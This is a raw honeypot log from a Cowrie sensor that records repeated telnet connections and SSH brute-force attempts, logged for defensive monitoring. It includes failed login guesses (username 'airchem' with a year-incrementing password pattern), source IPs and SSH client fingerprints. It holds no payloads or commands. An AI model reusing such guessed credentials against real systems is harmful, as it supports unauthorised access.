{"eventid":"cowrie.session.closed","duration":37.27779412269592,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:04.955278Z","src_ip":"5.61.90.139","session":"3cb84c9ea8e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.32738399505615,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:05.852882Z","src_ip":"5.61.90.139","session":"4be223f95ce1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.66616249084473,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:07.245132Z","src_ip":"5.61.90.139","session":"d4a0fefc3051","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.35319375991821,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:08.295136Z","src_ip":"5.61.90.139","session":"37de52fa5a7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.13263440132141,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:08.854710Z","src_ip":"5.61.90.139","session":"b4e8698a2dd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.757163763046265,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:12.877731Z","src_ip":"5.61.90.139","session":"4d91d53efd52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59342,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca3d0d545abf","protocol":"telnet","message":"New connection: 5.61.90.139:59342 (10.17.0.5:23) [session: ca3d0d545abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:15.141483Z"}
{"eventid":"cowrie.session.closed","duration":41.38499641418457,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:15.585218Z","src_ip":"5.61.90.139","session":"20cf26b783fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.186975717544556,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:15.620824Z","src_ip":"5.61.90.139","session":"4f0e873bc51f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59344,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0cb399faf0a","protocol":"telnet","message":"New connection: 5.61.90.139:59344 (10.17.0.5:23) [session: d0cb399faf0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:15.701483Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59360,"dst_ip":"10.17.0.5","dst_port":23,"session":"9df10365ef2f","protocol":"telnet","message":"New connection: 5.61.90.139:59360 (10.17.0.5:23) [session: 9df10365ef2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:21.294325Z"}
{"eventid":"cowrie.session.closed","duration":38.85390067100525,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:28.726998Z","src_ip":"5.61.90.139","session":"4a0aa300e4ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43564,"dst_ip":"159.203.135.109","dst_port":22,"session":"2faa77c590b6","protocol":"ssh","message":"New connection: 159.203.92.129:43564 (159.203.135.109:22) [session: 2faa77c590b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:31.423778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:31.429596Z","src_ip":"159.203.92.129","session":"2faa77c590b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:31.434591Z","src_ip":"159.203.92.129","session":"2faa77c590b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airchem","password":"korea2014","message":"login attempt [airchem/korea2014] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:31.447441Z","src_ip":"159.203.92.129","session":"2faa77c590b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.73005557060242,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:31.909605Z","src_ip":"5.61.90.139","session":"5ba1a9a91936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:32.456386Z","src_ip":"159.203.92.129","session":"2faa77c590b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.06229090690613,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:33.971017Z","src_ip":"5.61.90.139","session":"f15bdf33692a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.706461668014526,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:34.058024Z","src_ip":"5.61.90.139","session":"fbe5be108686","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.970977783203125,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:35.112378Z","src_ip":"5.61.90.139","session":"4f53417d0bf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59444,"dst_ip":"10.17.0.5","dst_port":23,"session":"c14f732ce2f9","protocol":"telnet","message":"New connection: 5.61.90.139:59444 (10.17.0.5:23) [session: c14f732ce2f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:41.779627Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59448,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb857b857387","protocol":"telnet","message":"New connection: 5.61.90.139:59448 (10.17.0.5:23) [session: cb857b857387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:42.161236Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59450,"dst_ip":"10.17.0.5","dst_port":23,"session":"fabd5618d396","protocol":"telnet","message":"New connection: 5.61.90.139:59450 (10.17.0.5:23) [session: fabd5618d396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:42.485518Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59456,"dst_ip":"10.17.0.5","dst_port":23,"session":"18fe64e35a4a","protocol":"telnet","message":"New connection: 5.61.90.139:59456 (10.17.0.5:23) [session: 18fe64e35a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:44.140062Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59482,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bda2b9f75a2","protocol":"telnet","message":"New connection: 5.61.90.139:59482 (10.17.0.5:23) [session: 6bda2b9f75a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:48.982047Z"}
{"eventid":"cowrie.session.closed","duration":39.874146461486816,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:55.575509Z","src_ip":"5.61.90.139","session":"d0cb399faf0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.19162464141846,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:57.332984Z","src_ip":"5.61.90.139","session":"ca3d0d545abf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59526,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0a66aba505f","protocol":"telnet","message":"New connection: 5.61.90.139:59526 (10.17.0.5:23) [session: a0a66aba505f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:00.647878Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59528,"dst_ip":"10.17.0.5","dst_port":23,"session":"0726057adcff","protocol":"telnet","message":"New connection: 5.61.90.139:59528 (10.17.0.5:23) [session: 0726057adcff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:00.743268Z"}
{"eventid":"cowrie.session.closed","duration":40.89116144180298,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:02.185368Z","src_ip":"5.61.90.139","session":"9df10365ef2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59534,"dst_ip":"10.17.0.5","dst_port":23,"session":"4017ec7b85b4","protocol":"telnet","message":"New connection: 5.61.90.139:59534 (10.17.0.5:23) [session: 4017ec7b85b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:02.206537Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59544,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f0929b305f1","protocol":"telnet","message":"New connection: 5.61.90.139:59544 (10.17.0.5:23) [session: 7f0929b305f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:07.519690Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45278,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ab045b5def0","protocol":"ssh","message":"New connection: 159.203.92.129:45278 (159.203.135.109:22) [session: 5ab045b5def0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:16.241941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:16.247880Z","src_ip":"159.203.92.129","session":"5ab045b5def0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:16.262527Z","src_ip":"159.203.92.129","session":"5ab045b5def0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59584,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b0f26a09c22","protocol":"telnet","message":"New connection: 5.61.90.139:59584 (10.17.0.5:23) [session: 8b0f26a09c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:16.272199Z"}
{"eventid":"cowrie.login.failed","username":"airchem","password":"korea2015","message":"login attempt [airchem/korea2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:16.297700Z","src_ip":"159.203.92.129","session":"5ab045b5def0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59588,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5e793d76092","protocol":"telnet","message":"New connection: 5.61.90.139:59588 (10.17.0.5:23) [session: d5e793d76092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:16.404240Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:17.378353Z","src_ip":"159.203.92.129","session":"5ab045b5def0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.85217881202698,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:19.631673Z","src_ip":"5.61.90.139","session":"c14f732ce2f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.97485589981079,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:21.460279Z","src_ip":"5.61.90.139","session":"fabd5618d396","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.788626194000244,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:23.949780Z","src_ip":"5.61.90.139","session":"cb857b857387","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.060189723968506,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:25.200193Z","src_ip":"5.61.90.139","session":"18fe64e35a4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.78180646896362,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:26.763746Z","src_ip":"5.61.90.139","session":"6bda2b9f75a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59692,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3b7e77bd205","protocol":"telnet","message":"New connection: 5.61.90.139:59692 (10.17.0.5:23) [session: c3b7e77bd205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:40.915319Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59698,"dst_ip":"10.17.0.5","dst_port":23,"session":"0079334fdac6","protocol":"telnet","message":"New connection: 5.61.90.139:59698 (10.17.0.5:23) [session: 0079334fdac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:42.403391Z"}
{"eventid":"cowrie.session.closed","duration":42.553457498550415,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:43.201202Z","src_ip":"5.61.90.139","session":"a0a66aba505f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.8042311668396,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:43.547359Z","src_ip":"5.61.90.139","session":"0726057adcff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.709962368011475,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:45.916354Z","src_ip":"5.61.90.139","session":"4017ec7b85b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.677830934524536,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:47.197376Z","src_ip":"5.61.90.139","session":"7f0929b305f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.03298044204712,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:55.305048Z","src_ip":"5.61.90.139","session":"8b0f26a09c22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.38732051849365,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:58.791435Z","src_ip":"5.61.90.139","session":"d5e793d76092","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39858,"dst_ip":"159.203.135.109","dst_port":22,"session":"cff8213bbc69","protocol":"ssh","message":"New connection: 159.203.92.129:39858 (159.203.135.109:22) [session: cff8213bbc69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:58.952026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:58.957232Z","src_ip":"159.203.92.129","session":"cff8213bbc69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:58.962905Z","src_ip":"159.203.92.129","session":"cff8213bbc69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airchem","password":"korea2016","message":"login attempt [airchem/korea2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:58.976948Z","src_ip":"159.203.92.129","session":"cff8213bbc69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:30:59.989082Z","src_ip":"159.203.92.129","session":"cff8213bbc69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59764,"dst_ip":"10.17.0.5","dst_port":23,"session":"667fb3b7cd3c","protocol":"telnet","message":"New connection: 5.61.90.139:59764 (10.17.0.5:23) [session: 667fb3b7cd3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:00.344289Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59794,"dst_ip":"10.17.0.5","dst_port":23,"session":"083a9cac58af","protocol":"telnet","message":"New connection: 5.61.90.139:59794 (10.17.0.5:23) [session: 083a9cac58af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:07.126009Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59796,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf673bbd11ed","protocol":"telnet","message":"New connection: 5.61.90.139:59796 (10.17.0.5:23) [session: cf673bbd11ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:07.671774Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59804,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac7501f2eda6","protocol":"telnet","message":"New connection: 5.61.90.139:59804 (10.17.0.5:23) [session: ac7501f2eda6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:09.177565Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59820,"dst_ip":"10.17.0.5","dst_port":23,"session":"da879705d1f4","protocol":"telnet","message":"New connection: 5.61.90.139:59820 (10.17.0.5:23) [session: da879705d1f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:14.662253Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.77.165","src_port":42352,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c713d6528be","protocol":"telnet","message":"New connection: 23.88.77.165:42352 (159.203.135.109:23) [session: 2c713d6528be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:19.325865Z"}
